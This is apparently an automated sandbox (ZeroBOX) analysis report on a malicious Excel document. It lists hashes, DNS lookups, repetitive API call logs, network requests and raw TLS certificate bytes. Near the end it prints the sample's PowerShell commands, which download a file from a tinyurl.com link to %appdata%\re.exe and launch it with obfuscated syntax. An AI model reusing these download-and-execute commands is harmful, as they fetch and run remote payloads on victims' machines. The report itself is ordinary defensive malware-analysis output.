popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

9e227b07643afd3444c4d30f0c47c3cf.xls

Antivirus
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x3201 April 6, 2021, 4:38 p.m. April 6, 2021, 4:41 p.m.
Size 56.5KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Last Saved By: Alexis UZAN, Create Time/Date: Sun Sep 20 21:17:44 2020, Last Saved Time/Date: Tue Sep 22 19:16:56 2020, Security: 1
MD5 9e227b07643afd3444c4d30f0c47c3cf
SHA256 d3345db33851543b968f728d2a342c49dc72b0dc633da851518d8585e53af3ce
CRC32 62802116
ssdeep 1536:1XnSGiysRchNXHfA1MiWhZFGkEld+Dr7OnkdyYWptOr5TwjJ1t:1XnSGiysRchNXHfA1MiWhZFGkEld+DrS
Yara
  • Microsoft_Office_Document_Zero - Microsoft Office Document Signature Zero

Name Response Post-Analysis Lookup
tinyurl.com
A 172.67.1.225
A 104.20.139.65
A 104.20.138.65
104.20.138.65
IP Address Status Action
164.124.101.2 Active Moloch
172.67.1.225 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameA

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0

GetComputerNameA

 computer_name: WIN7-PC
1 1 0

GetComputerNameW

 computer_name: WIN7-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029ec18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f218
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f0d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f1d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f1d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f1d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f1d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f1d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f1d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f1d8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f158
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f358
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0029f398
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://tinyurl.com/y3psaqmm
suspicious_features GET method with no useragent header suspicious_request GET https://tinyurl.com/app/nospam/tinyurl.com/y3psaqmm/terminated
request GET https://tinyurl.com/y3psaqmm
request GET https://tinyurl.com/app/nospam/tinyurl.com/y3psaqmm/terminated
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 6928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x67731000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 6928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6778f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 6928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6778f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 6928
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75b41000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02760000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02950000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 4408
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x60751000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c3a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 4408
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x60752000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02951000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02952000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c83000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c84000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02717000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c3b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02702000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02715000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c85000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0270c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02703000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04e90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01c86000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0271c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02704000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02705000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02706000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02707000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02708000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02709000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f41000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f42000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f43000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f44000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f45000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f46000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f47000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f48000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f49000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f4a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f4b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f4c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f4d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f4e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f4f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 4408
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04f50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\Administrator\AppData\Roaming\re.exe
file C:\Users\Administrator\Documents\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
cmdline powershell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received W`lÔ÷ç@F”0glV‹Àqh½vÿDOWNGRD ,o¦v€4Gá„[WÃ_Î6 Í\ätì¨äfÅî¬lömßîÀÿ 
Data received  û
Data received ÷ ôR0‚N0‚6 @I U2Òñÿ¶ÒÉ8Bª0  *†H†÷  0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20 200803000000Z 210803120000Z0m1 0 UUS1 0 UCA10U San Francisco10U Cloudflare, Inc.10Usni.cloudflaressl.com0‚"0  *†H†÷ ‚0‚ ‚ô"6¢\¼üBdY ûŽQރ`ÃxWf]_žäᏼǚ‘ˆYQ쟇V0jG^AåùÂȱºÞÈx^(ôÜPÏ|ó¿´wö âBiûbšU‘ÅbšBY(ë%k¡û ÕˆO_¬ƒiú³€Û*N4Ý)Ý÷ᑥ¢©úoÏ)]‰(‹KÕ`QÀTñÑg}WL)•ˆžm.»ÜÁʔt„¼T[…u®•€ÔcÝô)&ÅTj—²®4²èš䥍+áP«”ÏƽûÃx«2Líó—}ŖpXðVdØeQ8Ÿ#Óä%[j€åûï$AhY1ÿ_¼e?žXí£‚ 0‚0U#0€©ü²EIÁo04+هœ°%Wz0UŽcó{F¥Kvԍ ØäCZ‰·0<U503‚sni.cloudflaressl.com‚ *.tinyurl.com‚ tinyurl.com0Uÿ 0U%0++0{Ut0r07 5 3†1http://crl3.digicert.com/CloudflareIncRSACA-2.crl07 5 3†1http://crl4.digicert.com/CloudflareIncRSACA-2.crl0LU E0C07 `†H†ýl0*0(+https://www.digicert.com/CPS0g 0v+j0h0$+0†http://ocsp.digicert.com0@+0†4http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0 Uÿ00‚ +Öyöóñwö\”/Ñw0"T0”VŽãM3¿ß / ÌNñdãs±·˜5H0F!²Sç'À©ßÕ~…KÊWc¡¸ÉhZðÁ !tIn!ÀfB ¢úý †X|@ÍÛn_É*Ö÷›ŒbN-}ÓH–5v\ÜC’þæ«ED±^šÔVæ7ûÕúGÜ¡s”²^æöÇÊs±·˜eG0E ]{qGl4°m‡ÍTíAü4Ìì30¬D­ZÉtO!̚‡ø¼?ÍÁAU<4Ê;#|¡—ë.ÿ5Öî0Ï 0  *†H†÷  ‚ yî7Þ µßÏ`^4(!ˁ_‹M–÷.púXz EL†Lâ@I;¨ºY ‰Àj RtëÄ(Šg&V¦Xb4‰çGUmÇå’ÙàaªÑèŒZ»ñs>)2|›vZ:Øð0ÙJ¢ÈŠoXórBZÕô⳨]†§Õ>>f ÿcÖ¯Þ Ã9`çÂ~Š…y4üEÏ#û+ᕀ=¿\÷f¹é¿L8$¡$ß¹¹ã­&¢Í$Š˜ ?ú¥m³¹ª¿SY>’jÏ"¯N}’‘ž~]lm݊†¯²`&ŸV#ôt¡çZ+tÖ¡ ª(ø $A `ësÿ&Ž!œ0‚˜0‚€ ؚsó³¸Ú[X8˜)0  *†H†÷  0Z1 0 UIE10U  Baltimore10U  CyberTrust1"0 UBaltimore CyberTrust Root0 200127124639Z 241231235959Z0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20‚"0  *†H†÷ ‚0‚ ‚µ]&È «±3] ²–Â1N~_‡Æo€$íÚ®¾ç€÷ÅÏTf8(èæi»ø1jVõèÁ¥èYè³à:a(°~Í ýÎ7Ã驍 Éxʦ`F€¯t-OÚè RțZ2Ï!!G\ŠªÀp±ñÞß-…©•ì[W99¾…Âï׶,J?ÑÖ³!¢—O%,B#}׳Öi…¯ÕªØhd㭝R/Ååô‘¯å ًFçÏ2"ð7Äý‹æâÌ:Hׁa‚¿=rÙp^ì i$â<HãþÓåQÔ+À¡O“p™¿·Òƒni-ÈÍ¢bLC7_:v“Zúni]šÅˆÁ£‚h0‚d0U©ü²EIÁo04+هœ°%Wz0U#0€åY0‚GX̬úT6†{:µMð0Uÿ†0U%0++0Uÿ0ÿ04+(0&0$+0†http://ocsp.digicert.com0:U3010/ - +†)http://crl3.digicert.com/Omniroot2025.crl0mU f0d07 `†H†ýl0*0(+https://www.digicert.com/CPS0  `†H†ýl0g 0g 0g 0  *†H†÷  ‚|°Ž¦dráaÝót=P§çÂN &+Açð°óòÒçP€ÒÆ©º“ë¾ÁÁ†øO„¼|ær/é¶ÆviÝòjGk“T¤ €5'݊ŸÈ„—Ó´àÚ¦ðçÏ杘”ÒËÚ"wØI ¨UŽ‰ÔÒÎÐèÚàBýÎ~–„ʧÑ'Ÿ)¼ÿí.4ýF*ïNV|èÜ"—íS [º{àòO¥Y•Aͳr.\ozJC+"ËÔ? 